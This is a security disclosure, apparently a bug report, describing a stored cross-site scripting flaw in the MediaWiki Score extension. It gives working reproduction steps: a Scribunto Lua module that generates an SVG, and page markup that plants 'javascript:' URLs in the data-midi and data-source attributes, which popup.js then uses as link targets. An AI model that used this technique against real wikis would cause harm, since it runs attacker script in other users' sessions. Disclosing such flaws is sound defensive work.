The Score extension stores URLs in non-reserved data attributes and uses them for HTML links without appropriate sanitization, allowing for stored XSS through user interaction.
Reproduction steps
To exploit this, we need to be able to insert an <img> tag directly into a custom HTML element we can control the data attributes of. Since image thumbnails are wrapped in elements we can't control, the most straightforward solution is to use an SVG generated by Scribunto instead, which returns a strip marker that represents an <img> tag.
- Create Module:Svg with the following code (it doesn't matter what kind of SVG it generates):
local p = {} function p.generate() local svg = mw.svg.new() return svg:setAttribute( 'width', '120px' ) :setAttribute( 'height', '120px' ) :setContent( '<circle cx="50" cy="50" r="45" style="fill:green;" />' ) :setImgAttribute( 'alt', 'SVG image' ) :toImage() end return p
- Create a new page with the following contents:
<score lang="lilypond">\relative c' { f d f a d f e d cis a cis e a g f e }</score> <div class="mw-ext-score" data-midi="javascript:alert(1)" data-source="javascript:alert(2)">{{#invoke:Svg|generate}}</div>
- Visit the page and click on the green circle
- Click on one of the two links in the popup
Cause
Non-reserved data attributes are used as the href attributes of two links:
https://github.com/wikimedia/mediawiki-extensions-Score/blob/979253d7583ddc82413c47e48c9d47fd8042d4d0/modules/ext.score.popup/popup.js#L4-L26


